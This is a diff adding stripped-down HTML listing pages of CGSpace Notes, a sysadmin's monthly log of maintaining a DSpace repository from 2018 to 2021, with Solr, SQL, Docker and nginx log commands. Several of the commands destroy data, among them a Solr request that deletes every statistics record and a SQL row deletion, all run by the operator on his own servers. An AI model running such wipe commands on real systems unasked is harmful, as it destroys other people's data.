+ + + + + + + + + diff --git a/docs/categories/notes/page/3/index.html b/docs/categories/notes/page/3/index.html new file mode 100644 index 000000000..b6025d201 --- /dev/null +++ b/docs/categories/notes/page/3/index.html @@ -0,0 +1,429 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + +
+
+

November, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-11-02

+
    +
  • I experimented with manually sharding the Solr statistics on DSpace Test
    • +
  • First I exported all the 2019 stats from CGSpace:
    • +
+
$ ./run.sh -s http://localhost:8081/solr/statistics -f 'time:2019-*' -a export -o statistics-2019.json -k uid
+$ zstd statistics-2019.json
+
+ Read more → +
+ + + + + + +
+
+

October, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-10-01

+
    +
  • Export all affiliations on CGSpace and run them against the latest RoR data dump:
    • +
+
localhost/dspace63= > \COPY (SELECT DISTINCT text_value as "cg.contributor.affiliation", count(*) FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id = 211 GROUP BY text_value ORDER BY count DESC) to /tmp/2021-10-01-affiliations.csv WITH CSV HEADER;
+$ csvcut -c 1 /tmp/2021-10-01-affiliations.csv | sed 1d > /tmp/2021-10-01-affiliations.txt
+$ ./ilri/ror-lookup.py -i /tmp/2021-10-01-affiliations.txt -r 2021-09-23-ror-data.json -o /tmp/2021-10-01-affili
+ations-matching.csv
+$ csvgrep -c matched -m true /tmp/2021-10-01-affiliations-matching.csv | sed 1d | wc -l 
+1879
+$ wc -l /tmp/2021-10-01-affiliations.txt 
+7100 /tmp/2021-10-01-affiliations.txt
+
    +
  • So we have 1879/7100 (26.46%) matching already
    • +
+ Read more → +
+ + + + + + +
+
+

September, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-09-02

+
    +
  • Troubleshooting the missing Altmetric scores on AReS +
      +
    • Turns out that I didn’t actually fix them last month because the check for content.altmetric still exists, and I can’t access the DOIs using _h.source.DOI for some reason
      • +
    • I can access all other kinds of item metadata using the Elasticsearch label, but not DOI!!!
      • +
    • I will change DOI to tomato in the repository setup and start a re-harvest… I need to see if this is some kind of reserved word or something…
      • +
    • Even as tomato I can’t access that field as _h.source.tomato in Angular, but it does work as a filter source… sigh
      • +
    +
    • +
  • I’m having problems using the OpenRXV API +
      +
    • The syntax Moayad showed me last month doesn’t seem to honor the search query properly…
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

August, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-08-01

+
    +
  • Update Docker images on AReS server (linode20) and reboot the server:
    • +
+
# docker images | grep -v ^REPO | sed 's/ \+/:/g' | cut -d: -f1,2 | grep -v none | xargs -L1 docker pull
+
    +
  • I decided to upgrade linode20 from Ubuntu 18.04 to 20.04
    • +
+ Read more → +
+ + + + + + +
+
+

July, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-07-01

+
    +
  • Export another list of ALL subjects on CGSpace, including AGROVOC and non-AGROVOC for Enrico:
    • +
+
localhost/dspace63= > \COPY (SELECT DISTINCT LOWER(text_value) AS subject, count(*) FROM metadatavalue WHERE dspace_object_id in (SELECT dspace_object_id FROM item) AND metadata_field_id IN (119, 120, 127, 122, 128, 125, 135, 203, 208, 210, 215, 123, 236, 242, 187) GROUP BY subject ORDER BY count DESC) to /tmp/2021-07-01-all-subjects.csv WITH CSV HEADER;
+COPY 20994
+
+ Read more → +
+ + + + + + +
+
+

June, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-06-01

+
    +
  • IWMI notified me that AReS was down with an HTTP 502 error +
      +
    • Looking at UptimeRobot I see it has been down for 33 hours, but I never got a notification
      • +
    • I don’t see anything in the Elasticsearch container logs, or the systemd journal on the host, but I notice that the angular_nginx container isn’t running
      • +
    • I simply started it and AReS was running again:
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

May, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-05-01

+
    +
  • I looked at the top user agents and IPs in the Solr statistics for last month and I see these user agents: +
      +
    • “RI/1.0”, 1337
      • +
    • “Microsoft Office Word 2014”, 941
      • +
    +
    • +
  • I will add the RI/1.0 pattern to our DSpace agents overload and purge them from Solr (we had previously seen this agent with 9,000 hits or so in 2020-09), but I think I will leave the Microsoft Word one… as that’s an actual user…
    • +
+ Read more → +
+ + + + + + +
+
+

April, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-04-01

+
    +
  • I wrote a script to query Sherpa’s API for our ISSNs: sherpa-issn-lookup.py +
      +
    • I’m curious to see how the results compare with the results from Crossref yesterday
      • +
    +
    • +
  • AReS Explorer was down since this morning, I didn’t see anything in the systemd journal +
      +
    • I simply took everything down with docker-compose and then back up, and then it was OK
      • +
    • Perhaps one of the containers crashed, I should have looked closer but I was in a hurry
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

March, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-03-01

+
    +
  • Discuss some OpenRXV issues with Abdullah from CodeObia +
      +
    • He’s trying to work on the DSpace 6+ metadata schema autoimport using the DSpace 6+ REST API
      • +
    • Also, we found some issues building and running OpenRXV currently due to ecosystem shift in the Node.js dependencies
      • +
    +
    • +
+ Read more → +
+ + + + + + + + + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/categories/notes/page/4/index.html b/docs/categories/notes/page/4/index.html new file mode 100644 index 000000000..58bfc6eed --- /dev/null +++ b/docs/categories/notes/page/4/index.html @@ -0,0 +1,449 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + +
+
+

February, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-02-01

+
    +
  • Abenet said that CIP found more duplicate records in their export from AReS + +
    • +
  • I had a call with CodeObia to discuss the work on OpenRXV
    • +
  • Check the results of the AReS harvesting from last night:
    • +
+
$ curl -s 'http://localhost:9200/openrxv-items-temp/_count?q=*&pretty'
+{
+  "count" : 100875,
+  "_shards" : {
+    "total" : 1,
+    "successful" : 1,
+    "skipped" : 0,
+    "failed" : 0
+  }
+}
+
+ Read more → +
+ + + + + + +
+
+

January, 2021

+

by Alan Orth in + Notes + + +

+
+

2021-01-03

+
    +
  • Peter notified me that some filters on AReS were broken again +
      +
    • It’s the same issue with the field names getting .keyword appended to the end that I already filed an issue on OpenRXV about last month
      • +
    • I fixed the broken filters (careful to not edit any others, lest they break too!)
      • +
    +
    • +
  • Fix an issue with start page number for the DSpace REST API and statistics API in OpenRXV +
      +
    • The start page had been “1” in the UI, but in the backend they were doing some gymnastics to adjust to the zero-based offset/limit/page of the DSpace REST API and the statistics API
      • +
    • I adjusted it to default to 0 and added a note to the admin screen
      • +
    • I realized that this issue was actually causing the first page of 100 statistics to be missing…
      • +
    • For example, this item has 51 views on CGSpace, but 0 on AReS
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

December, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-12-01

+
    +
  • Atmire responded about the issue with duplicate data in our Solr statistics +
      +
    • They noticed that some records in the statistics-2015 core haven’t been migrated with the AtomicStatisticsUpdateCLI tool yet and assumed that I haven’t migrated any of the records yet
      • +
    • That’s strange, as I checked all ten cores and 2015 is the only one with some unmigrated documents, as according to the cua_version field
      • +
    • I started processing those (about 411,000 records):
      • +
    +
    • +
+ Read more → +
+ + + + + + + + + + + + + +
+
+

November, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-11-01

+
    +
  • Continue with processing the statistics-2019 Solr core with the AtomicStatisticsUpdateCLI tool on DSpace Test +
      +
    • So far we’ve spent at least fifty hours to process the statistics and statistics-2019 core… wow.
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

October, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-10-06

+
    +
  • Add tests for the new /items POST handlers to the DSpace 6.x branch of my dspace-statistics-api + +
    • +
  • Trying to test the changes Atmire sent last week but I had to re-create my local database from a recent CGSpace dump +
      +
    • During the FlywayDB migration I got an error:
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

September, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-09-02

+
    +
  • Replace Marissa van Epp for Rhys Bucknall in the CCAFS groups on CGSpace because Marissa no longer works at CCAFS
    • +
  • The AReS Explorer hasn’t updated its index since 2020-08-22 when I last forced it +
      +
    • I restarted it again now and told Moayad that the automatic indexing isn’t working
      • +
    +
    • +
  • Add Alliance of Bioversity International and CIAT to affiliations on CGSpace
    • +
  • Abenet told me that the general search text on AReS doesn’t get reset when you use the “Reset Filters” button + +
    • +
  • I filed an issue on OpenRXV to make some minor edits to the admin UI: https://github.com/ilri/OpenRXV/issues/40
    • +
+ Read more → +
+ + + + + + +
+
+

August, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-08-02

+
    +
  • I spent a few days working on a Java-based curation task to tag items with ISO 3166-1 Alpha2 country codes based on their cg.coverage.country text values +
      +
    • It looks up the names in ISO 3166-1 first, and then in our CGSpace countries mapping (which has five or so of Peter’s preferred “display” country names)
      • +
    • It implements a “force” mode too that will clear existing country codes and re-tag everything
      • +
    • It is class based so I can easily add support for other vocabularies, and the technique could even be used for organizations with mappings to ROR and Clarisa…
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

July, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-07-01

+
    +
  • A few users noticed that CGSpace wasn’t loading items today, item pages seem blank +
      +
    • I looked at the PostgreSQL locks but they don’t seem unusual
      • +
    • I guess this is the same “blank item page” issue that we had a few times in 2019 that we never solved
      • +
    • I restarted Tomcat and PostgreSQL and the issue was gone
      • +
    +
    • +
  • Since I was restarting Tomcat anyways I decided to redeploy the latest changes from the 5_x-prod branch and I added a note about COVID-19 items to the CGSpace frontpage at Peter’s request
    • +
+ Read more → +
+ + + + + + +
+
+

June, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-06-01

+
    +
  • I tried to run the AtomicStatisticsUpdateCLI CUA migration script on DSpace Test (linode26) again and it is still going very slowly and has tons of errors like I noticed yesterday +
      +
    • I sent Atmire the dspace.log from today and told them to log into the server to debug the process
      • +
    +
    • +
  • In other news, I checked the statistics API on DSpace 6 and it’s working
    • +
  • I tried to build the OAI registry on the freshly migrated DSpace 6 on DSpace Test and I get an error:
    • +
+ Read more → +
+ + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/categories/notes/page/5/index.html b/docs/categories/notes/page/5/index.html new file mode 100644 index 000000000..44dd15b3e --- /dev/null +++ b/docs/categories/notes/page/5/index.html @@ -0,0 +1,477 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + +
+
+

May, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-05-02

+
    +
  • Peter said that CTA is having problems submitting an item to CGSpace +
      +
    • Looking at the PostgreSQL stats it seems to be the same issue that Tezira was having last week, as I see the number of connections in ‘idle in transaction’ and ‘waiting for lock’ state are increasing again
      • +
    • I see that CGSpace (linode18) is still using PostgreSQL JDBC driver version 42.2.11, and there were some bugs related to transactions fixed in 42.2.12 (which I had updated in the Ansible playbooks, but not deployed yet)
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

April, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-04-02

+
    +
  • Maria asked me to update Charles Staver’s ORCID iD in the submission template and on CGSpace, as his name was lower case before, and now he has corrected it +
      +
    • I updated the fifty-eight existing items on CGSpace
      • +
    +
    • +
  • Looking into the items Udana had asked about last week that were missing Altmetric donuts: + +
    • +
  • On the same note, the one item Abenet pointed out last week now has a donut with score of 104 after I tweeted it last week
    • +
+ Read more → +
+ + + + + + + + + + + + + +
+
+

February, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-02-02

+
    +
  • Continue working on porting CGSpace’s DSpace 5 code to DSpace 6.3 that I started yesterday +
      +
    • Sign up for an account with MaxMind so I can get the GeoLite2-City.mmdb database
      • +
    • I still need to wire up the API credentials and cron job into the Ansible infrastructure playbooks
      • +
    • Fix some minor issues in the config and XMLUI themes, like removing Atmire stuff
      • +
    • The code finally builds and runs with a fresh install
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

January, 2020

+

by Alan Orth in + Notes + + +

+
+

2020-01-06

+
    +
  • Open a ticket with Atmire to request a quote for the upgrade to DSpace 6
    • +
  • Last week Altmetric responded about the item that had a lower score than than its DOI +
      +
    • The score is now linked to the DOI
      • +
    • Another item that had the same problem in 2019 has now also linked to the score for its DOI
      • +
    • Another item that had the same problem in 2019 has also been fixed
      • +
    +
    • +
+

2020-01-07

+
    +
  • Peter Ballantyne highlighted one more WLE item that is missing the Altmetric score that its DOI has +
      +
    • The DOI has a score of 259, but the Handle has no score at all
      • +
    • I tweeted the CGSpace repository link
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

December, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-12-01

+
    +
  • Upgrade CGSpace (linode18) to Ubuntu 18.04: +
      +
    • Check any packages that have residual configs and purge them:
      • +
    • # dpkg -l | grep -E ‘^rc’ | awk ‘{print $2}’ | xargs dpkg -P
      • +
    • Make sure all packages are up to date and the package manager is up to date, then reboot:
      • +
    +
    • +
+
# apt update && apt full-upgrade
+# apt-get autoremove && apt-get autoclean
+# dpkg -C
+# reboot
+
+ Read more → +
+ + + + + + +
+
+

November, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-11-04

+
    +
  • Peter noticed that there were 5.2 million hits on CGSpace in 2019-10 according to the Atmire usage statistics +
      +
    • I looked in the nginx logs and see 4.6 million in the access logs, and 1.2 million in the API logs:
      • +
    +
    • +
+
# zcat --force /var/log/nginx/*access.log.*.gz | grep -cE "[0-9]{1,2}/Oct/2019"
+4671942
+# zcat --force /var/log/nginx/{rest,oai,statistics}.log.*.gz | grep -cE "[0-9]{1,2}/Oct/2019"
+1277694
+
    +
  • So 4.6 million from XMLUI and another 1.2 million from API requests
    • +
  • Let’s see how many of the REST API requests were for bitstreams (because they are counted in Solr stats):
    • +
+
# zcat --force /var/log/nginx/rest.log.*.gz | grep -c -E "[0-9]{1,2}/Oct/2019"
+1183456 
+# zcat --force /var/log/nginx/rest.log.*.gz | grep -E "[0-9]{1,2}/Oct/2019" | grep -c -E "/rest/bitstreams"
+106781
+
+ Read more → +
+ + + + + + +
+
+

October, 2019

+

by Alan Orth in + Notes + + +

+
+ 2019-10-01 Udana from IWMI asked me for a CSV export of their community on CGSpace I exported it, but a quick run through the csv-metadata-quality tool shows that there are some low-hanging fruits we can fix before I send him the data I will limit the scope to the titles, regions, subregions, and river basins for now to manually fix some non-breaking spaces (U+00A0) there that would otherwise be removed by the csv-metadata-quality script’s “unneccesary Unicode” fix: $ csvcut -c 'id,dc. + Read more → +
+ + + + + + +
+
+

September, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-09-01

+
    +
  • Linode emailed to say that CGSpace (linode18) had a high rate of outbound traffic for several hours this morning
    • +
  • Here are the top ten IPs in the nginx XMLUI and REST/OAI logs this morning:
    • +
+
# zcat --force /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep -E "01/Sep/2019:0" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    440 17.58.101.255
+    441 157.55.39.101
+    485 207.46.13.43
+    728 169.60.128.125
+    730 207.46.13.108
+    758 157.55.39.9
+    808 66.160.140.179
+    814 207.46.13.212
+   2472 163.172.71.23
+   6092 3.94.211.189
+# zcat --force /var/log/nginx/rest.log /var/log/nginx/rest.log.1 /var/log/nginx/oai.log /var/log/nginx/oai.log.1 | grep -E "01/Sep/2019:0" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+     33 2a01:7e00::f03c:91ff:fe16:fcb
+     57 3.83.192.124
+     57 3.87.77.25
+     57 54.82.1.8
+    822 2a01:9cc0:47:1:1a:4:0:2
+   1223 45.5.184.72
+   1633 172.104.229.92
+   5112 205.186.128.185
+   7249 2a01:7e00::f03c:91ff:fe18:7396
+   9124 45.5.186.2
+
+ Read more → +
+ + + + + + +
+
+

August, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-08-03

+
    +
  • Look at Bioversity’s latest migration CSV and now I see that Francesco has cleaned up the extra columns and the newline at the end of the file, but many of the column headers have an extra space in the name…
    • +
+

2019-08-04

+
    +
  • Deploy ORCID identifier updates requested by Bioversity to CGSpace
    • +
  • Run system updates on CGSpace (linode18) and reboot it +
      +
    • Before updating it I checked Solr and verified that all statistics cores were loaded properly…
      • +
    • After rebooting, all statistics cores were loaded… wow, that’s lucky.
      • +
    +
    • +
  • Run system updates on DSpace Test (linode19) and reboot it
    • +
+ Read more → +
+ + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/categories/notes/page/6/index.html b/docs/categories/notes/page/6/index.html new file mode 100644 index 000000000..98e3c82e8 --- /dev/null +++ b/docs/categories/notes/page/6/index.html @@ -0,0 +1,473 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + +
+
+

July, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-07-01

+
    +
  • Create an “AfricaRice books and book chapters” collection on CGSpace for AfricaRice
    • +
  • Last month Sisay asked why the following “most popular” statistics link for a range of months in 2018 works for the CIAT community on DSpace Test, but not on CGSpace: + +
    • +
  • Abenet had another similar issue a few days ago when trying to find the stats for 2018 in the RTB community
    • +
+ Read more → +
+ + + + + + + + + + + + + +
+
+

May, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-05-01

+
    +
  • Help CCAFS with regenerating some item thumbnails after they uploaded new PDFs to some items on CGSpace
    • +
  • A user on the dspace-tech mailing list offered some suggestions for troubleshooting the problem with the inability to delete certain items +
      +
    • Apparently if the item is in the workflowitem table it is submitted to a workflow
      • +
    • And if it is in the workspaceitem table it is in the pre-submitted state
      • +
    +
    • +
  • The item seems to be in a pre-submitted state, so I tried to delete it from there:
    • +
+
dspace=# DELETE FROM workspaceitem WHERE item_id=74648;
+DELETE 1
+
    +
  • But after this I tried to delete the item from the XMLUI and it is still present…
    • +
+ Read more → +
+ + + + + + +
+
+

April, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-04-01

+
    +
  • Meeting with AgroKnow to discuss CGSpace, ILRI data, AReS, GARDIAN, etc +
      +
    • They asked if we had plans to enable RDF support in CGSpace
      • +
    +
    • +
  • There have been 4,400 more downloads of the CTA Spore publication from those strange Amazon IP addresses today +
      +
    • I suspected that some might not be successful, because the stats show less, but today they were all HTTP 200!
      • +
    +
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep 'Spore-192-EN-web.pdf' | grep -E '(18.196.196.108|18.195.78.144|18.195.218.6)' | awk '{print $9}' | sort | uniq -c | sort -n | tail -n 5
+   4432 200
+
    +
  • In the last two weeks there have been 47,000 downloads of this same exact PDF by these three IP addresses
    • +
  • Apply country and region corrections and deletions on DSpace Test and CGSpace:
    • +
+
$ ./fix-metadata-values.py -i /tmp/2019-02-21-fix-9-countries.csv -db dspace -u dspace -p 'fuuu' -f cg.coverage.country -m 228 -t ACTION -d
+$ ./fix-metadata-values.py -i /tmp/2019-02-21-fix-4-regions.csv -db dspace -u dspace -p 'fuuu' -f cg.coverage.region -m 231 -t action -d
+$ ./delete-metadata-values.py -i /tmp/2019-02-21-delete-2-countries.csv -db dspace -u dspace -p 'fuuu' -m 228 -f cg.coverage.country -d
+$ ./delete-metadata-values.py -i /tmp/2019-02-21-delete-1-region.csv -db dspace -u dspace -p 'fuuu' -m 231 -f cg.coverage.region -d
+
+ Read more → +
+ + + + + + +
+
+

March, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-03-01

+
    +
  • I checked IITA’s 259 Feb 14 records from last month for duplicates using Atmire’s Duplicate Checker on a fresh snapshot of CGSpace on my local machine and everything looks good
    • +
  • I am now only waiting to hear from her about where the items should go, though I assume Journal Articles go to IITA Journal Articles collection, etc…
    • +
  • Looking at the other half of Udana’s WLE records from 2018-11 +
      +
    • I finished the ones for Restoring Degraded Landscapes (RDL), but these are for Variability, Risks and Competing Uses (VRC)
      • +
    • I did the usual cleanups for whitespace, added regions where they made sense for certain countries, cleaned up the DOI link formats, added rights information based on the publications page for a few items
      • +
    • Most worryingly, there are encoding errors in the abstracts for eleven items, for example:
      • +
    • 68.15% � 9.45 instead of 68.15% ± 9.45
      • +
    • 2003�2013 instead of 2003–2013
      • +
    +
    • +
  • I think I will need to ask Udana to re-copy and paste the abstracts with more care using Google Docs
    • +
+ Read more → +
+ + + + + + +
+
+

February, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-02-01

+
    +
  • Linode has alerted a few times since last night that the CPU usage on CGSpace (linode18) was high despite me increasing the alert threshold last week from 250% to 275%—I might need to increase it again!
    • +
  • The top IPs before, during, and after this latest alert tonight were:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "01/Feb/2019:(17|18|19|20|21)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+    245 207.46.13.5
+    332 54.70.40.11
+    385 5.143.231.38
+    405 207.46.13.173
+    405 207.46.13.75
+   1117 66.249.66.219
+   1121 35.237.175.180
+   1546 5.9.6.51
+   2474 45.5.186.2
+   5490 85.25.237.71
+
    +
  • 85.25.237.71 is the “Linguee Bot” that I first saw last month
    • +
  • The Solr statistics the past few months have been very high and I was wondering if the web server logs also showed an increase
    • +
  • There were just over 3 million accesses in the nginx logs last month:
    • +
+
# time zcat --force /var/log/nginx/* | grep -cE "[0-9]{1,2}/Jan/2019"
+3018243
+
+real    0m19.873s
+user    0m22.203s
+sys     0m1.979s
+
+ Read more → +
+ + + + + + +
+
+

January, 2019

+

by Alan Orth in + Notes + + +

+
+

2019-01-02

+
    +
  • Linode alerted that CGSpace (linode18) had a higher outbound traffic rate than normal early this morning
    • +
  • I don’t see anything interesting in the web server logs around that time though:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "02/Jan/2019:0(1|2|3)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+     92 40.77.167.4
+     99 210.7.29.100
+    120 38.126.157.45
+    177 35.237.175.180
+    177 40.77.167.32
+    216 66.249.75.219
+    225 18.203.76.93
+    261 46.101.86.248
+    357 207.46.13.1
+    903 54.70.40.11
+
+ Read more → +
+ + + + + + +
+
+

December, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-12-01

+
    +
  • Switch CGSpace (linode18) to use OpenJDK instead of Oracle JDK
    • +
  • I manually installed OpenJDK, then removed Oracle JDK, then re-ran the Ansible playbook to update all configuration files, etc
    • +
  • Then I ran all system updates and restarted the server
    • +
+

2018-12-02

+ + Read more → +
+ + + + + + +
+
+

November, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-11-01

+
    +
  • Finalize AReS Phase I and Phase II ToRs
    • +
  • Send a note about my dspace-statistics-api to the dspace-tech mailing list
    • +
+

2018-11-03

+
    +
  • Linode has been sending mails a few times a day recently that CGSpace (linode18) has had high CPU usage
    • +
  • Today these are the top 10 IPs:
    • +
+ Read more → +
+ + + + + + +
+
+

October, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-10-01

+
    +
  • Phil Thornton got an ORCID identifier so we need to add it to the list on CGSpace and tag his existing items
    • +
  • I created a GitHub issue to track this #389, because I’m super busy in Nairobi right now
    • +
+ Read more → +
+ + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/categories/notes/page/7/index.html b/docs/categories/notes/page/7/index.html new file mode 100644 index 000000000..2d175907c --- /dev/null +++ b/docs/categories/notes/page/7/index.html @@ -0,0 +1,482 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + +
+
+

September, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-09-02

+
    +
  • New PostgreSQL JDBC driver version 42.2.5
    • +
  • I’ll update the DSpace role in our Ansible infrastructure playbooks and run the updated playbooks on CGSpace and DSpace Test
    • +
  • Also, I’ll re-run the postgresql tasks because the custom PostgreSQL variables are dynamic according to the system’s RAM, and we never re-ran them after migrating to larger Linodes last month
    • +
  • I’m testing the new DSpace 5.8 branch in my Ubuntu 18.04 environment and I’m getting those autowire errors in Tomcat 8.5.30 again:
    • +
+ Read more → +
+ + + + + + +
+
+

August, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-08-01

+
    +
  • DSpace Test had crashed at some point yesterday morning and I see the following in dmesg:
    • +
+
[Tue Jul 31 00:00:41 2018] Out of memory: Kill process 1394 (java) score 668 or sacrifice child
+[Tue Jul 31 00:00:41 2018] Killed process 1394 (java) total-vm:15601860kB, anon-rss:5355528kB, file-rss:0kB, shmem-rss:0kB
+[Tue Jul 31 00:00:41 2018] oom_reaper: reaped process 1394 (java), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB
+
    +
  • Judging from the time of the crash it was probably related to the Discovery indexing that starts at midnight
    • +
  • From the DSpace log I see that eventually Solr stopped responding, so I guess the java process that was OOM killed above was Tomcat’s
    • +
  • I’m not sure why Tomcat didn’t crash with an OutOfMemoryError…
    • +
  • Anyways, perhaps I should increase the JVM heap from 5120m to 6144m like we did a few months ago when we tried to run the whole CGSpace Solr core
    • +
  • The server only has 8GB of RAM so we’ll eventually need to upgrade to a larger one because we’ll start starving the OS, PostgreSQL, and command line batch processes
    • +
  • I ran all system updates on DSpace Test and rebooted it
    • +
+ Read more → +
+ + + + + + +
+
+

July, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-07-01

+
    +
  • I want to upgrade DSpace Test to DSpace 5.8 so I took a backup of its current database just in case:
    • +
+
$ pg_dump -b -v -o --format=custom -U dspace -f dspace-2018-07-01.backup dspace
+
    +
  • During the mvn package stage on the 5.8 branch I kept getting issues with java running out of memory:
    • +
+
There is insufficient memory for the Java Runtime Environment to continue.
+
+ Read more → +
+ + + + + + +
+
+

June, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-06-04

+
    +
  • Test the DSpace 5.8 module upgrades from Atmire (#378) +
      +
    • There seems to be a problem with the CUA and L&R versions in pom.xml because they are using SNAPSHOT and it doesn’t build
      • +
    +
    • +
  • I added the new CCAFS Phase II Project Tag PII-FP1_PACCA2 and merged it into the 5_x-prod branch (#379)
    • +
  • I proofed and tested the ILRI author corrections that Peter sent back to me this week:
    • +
+
$ ./fix-metadata-values.py -i /tmp/2018-05-30-Correct-660-authors.csv -db dspace -u dspace -p 'fuuu' -f dc.contributor.author -t correct -m 3 -n
+
    +
  • I think a sane proofing workflow in OpenRefine is to apply the custom text facets for check/delete/remove and illegal characters that I developed in March, 2018
    • +
  • Time to index ~70,000 items on CGSpace:
    • +
+
$ time schedtool -D -e ionice -c2 -n7 nice -n19 [dspace]/bin/dspace index-discovery -b                                  
+
+real    74m42.646s
+user    8m5.056s
+sys     2m7.289s
+
+ Read more → +
+ + + + + + +
+
+

May, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-05-01

+
    +
  • I cleared the Solr statistics core on DSpace Test by issuing two commands directly to the Solr admin interface: +
      +
    • http://localhost:3000/solr/statistics/update?stream.body=%3Cdelete%3E%3Cquery%3E*:*%3C/query%3E%3C/delete%3E
      • +
    • http://localhost:3000/solr/statistics/update?stream.body=%3Ccommit/%3E
      • +
    +
    • +
  • Then I reduced the JVM heap size from 6144 back to 5120m
    • +
  • Also, I switched it to use OpenJDK instead of Oracle Java, as well as re-worked the Ansible infrastructure scripts to support hosts choosing which distribution they want to use
    • +
+ Read more → +
+ + + + + + +
+
+

April, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-04-01

+
    +
  • I tried to test something on DSpace Test but noticed that it’s down since god knows when
    • +
  • Catalina logs at least show some memory errors yesterday:
    • +
+ Read more → +
+ + + + + + +
+
+

March, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-03-02

+
    +
  • Export a CSV of the IITA community metadata for Martin Mueller
    • +
+ Read more → +
+ + + + + + +
+
+

February, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-02-01

+
    +
  • Peter gave feedback on the dc.rights proof of concept that I had sent him last week
    • +
  • We don’t need to distinguish between internal and external works, so that makes it just a simple list
    • +
  • Yesterday I figured out how to monitor DSpace sessions using JMX
    • +
  • I copied the logic in the jmx_tomcat_dbpools provided by Ubuntu’s munin-plugins-java package and used the stuff I discovered about JMX in 2018-01
    • +
+ Read more → +
+ + + + + + +
+
+

January, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-01-02

+
    +
  • Uptime Robot noticed that CGSpace went down and up a few times last night, for a few minutes each time
    • +
  • I didn’t get any load alerts from Linode and the REST and XMLUI logs don’t show anything out of the ordinary
    • +
  • The nginx logs show HTTP 200s until 02/Jan/2018:11:27:17 +0000 when Uptime Robot got an HTTP 500
    • +
  • In dspace.log around that time I see many errors like “Client closed the connection before file download was complete”
    • +
  • And just before that I see this:
